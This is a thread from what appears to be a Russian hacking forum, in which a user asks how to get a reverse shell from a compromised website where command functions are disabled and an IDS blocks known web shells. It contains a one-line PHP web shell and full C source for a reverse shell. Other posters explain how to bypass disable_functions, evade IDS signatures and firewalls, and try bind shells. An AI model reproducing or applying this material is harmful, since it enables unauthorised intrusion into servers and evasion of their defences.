Старый 13.07.2013, 23:49   #1
Kamnupre
 
Аватар для Kamnupre
 
Регистрация: 09.06.2013
Сообщений: 13
Репутация: -1
По умолчанию Проблема с выполнением команд | backconnect

Добрый день. Мое первое сообщение на Rdot`e.
Есть сайт, якобы отключены функции:

Disable functions :* exec eval proc_close proc_get_status proc_nice proc_open proc_terminate shell_exec system openlog syslog closelog apache_child_terminate apache_get_modules apache_get_version apache_getenv apache_note apache_request_headers apache_reset_timeout apache_note apache_setenv virtual ini_alter dl pcntl_alarm pcntl_exec pcntl_fork pcntl_setpriority posix_access posix_kil posix_mkfifo posix_setegid posix_seteuid posix_setgid posix_setpgid posix_setsid posix_setuid

Нужно сделать backconnect, я в списке отключенных функций не увидел passthru, поэтому решил что еще не все потеряно, залил <?php passthru($_GET["cmd"]); ?> на сервер, выполняю ls, данные выводит, выполняю ls -la, пишет "The requested URL /cmd.php was not found on this server." Чисто для интереса пробую сменить passthru на system и exec. Команды тоже выполняются, хотя phpinfo говорит что функции отключены. На сервере из шеллов работает только PAS 3. Все тот же WSO или RC не работают, при переходе по ним пишет 404 Not Found.

Залил bc.pl в /tmp, выполняю ?cmd=perl /tmp/bc.pl IP PORT, но ничего не происходит, возможно фаерволл. Пробовал blind порт открыть, не получается.
Kamnupre вне форума   Ответить с цитированием
Старый 13.07.2013, 23:50   #2
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

пробел заменять на $IFS а шелы не работают потому что IDS
b3 вне форума   Ответить с цитированием
Старый 14.07.2013, 00:00   #3
Kamnupre
 
Аватар для Kamnupre
 
Регистрация: 09.06.2013
Сообщений: 13
Репутация: -1
По умолчанию

Цитата:
Сообщение от b3 Посмотреть сообщение
пробел заменять на $IFS а шелы не работают потому что IDS
Ok, а почему выкл. функции работают? Можно как-то обойти IDS?

Последний раз редактировалось Kamnupre; 14.07.2013 в 00:22..
Kamnupre вне форума   Ответить с цитированием
Старый 14.07.2013, 00:31   #4
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Точно сказать не могу почему но FastCGI игнорирует disable_functions возможно у вас там nginx+php-fpm
b3 вне форума   Ответить с цитированием
Старый 14.07.2013, 11:48   #5
chupakabra
 
Аватар для chupakabra
 
Регистрация: 09.12.2011
Сообщений: 47
Репутация: 5
По умолчанию

Цитата:
Залил bc.pl в /tmp, выполняю ?cmd=perl /tmp/bc.pl IP PORT, но ничего не происходит, возможно фаерволл.
давайте постепенно.
1)Фаервол можно проверить echo file_get_contents('http://google.com').
2) Наличие перла - whereis perl, which perl, прав доступа ls -lia /usr/bin/perl
3) возможно скрипт бекконнекта палится сигнатурно, пробуйте скармливать его по строчкам, попробуйте бекконнект на C, добейтесь чтоб не палился сигнатурно
Код:
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]); 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 } 
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}
chupakabra вне форума   Ответить с цитированием
Старый 14.07.2013, 12:54   #6
Kamnupre
 
Аватар для Kamnupre
 
Регистрация: 09.06.2013
Сообщений: 13
Репутация: -1
По умолчанию

file_get_contents('http://google.com')
Не выводит.

Perl присутствует, перепробовал разные bc.
Kamnupre вне форума   Ответить с цитированием
Старый 14.07.2013, 13:20   #7
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

что нить из этого вполне возможно сможет помочь (даже если не сам bc, но то, что от него требуется):
https://rdot.org/forum/showthread.php?t=2781
https://rdot.org/forum/showthread.php?t=1884
https://rdot.org/forum/showthread.php?t=1143
DrakonHaSh вне форума   Ответить с цитированием
Старый 14.07.2013, 15:27   #8
Kamnupre
 
Аватар для Kamnupre
 
Регистрация: 09.06.2013
Сообщений: 13
Репутация: -1
По умолчанию

Цитата:
Сообщение от DrakonHaSh Посмотреть сообщение
что нить из этого вполне возможно сможет помочь (даже если не сам bc, но то, что от него требуется):
https://rdot.org/forum/showthread.php?t=2781
https://rdot.org/forum/showthread.php?t=1884
https://rdot.org/forum/showthread.php?t=1143
IDS не пускает WSO, если его зашифровать он будет работать? Или IPS по-другому распознает?

Последний раз редактировалось Kamnupre; 14.07.2013 в 23:32..
Kamnupre вне форума   Ответить с цитированием
Старый 14.07.2013, 17:29   #9
nicco
 
Регистрация: 01.01.2011
Сообщений: 45
Репутация: 3
По умолчанию

Вы путаете с IPS.
IDS выполняет только пассивную роль.
nicco вне форума   Ответить с цитированием
Старый 15.07.2013, 15:16   #10
chupakabra
 
Аватар для chupakabra
 
Регистрация: 09.12.2011
Сообщений: 47
Репутация: 5
По умолчанию

Цитата:
Сообщение от Kamnupre Посмотреть сообщение
file_get_contents('http://google.com')
Не выводит.

Perl присутствует, перепробовал разные bc.
значит 80-й порт залочен на фаерволе, попробуйте другие порты например 53 для DNS запросов- часто бывает открыт. Если залочен весь исходящий траф на любой порт, то бекконнект пробросить не получится, тогда пробуйте забиндить разные порты и подключиться на них снаружи.

Последний раз редактировалось chupakabra; 15.07.2013 в 15:20..
chupakabra вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot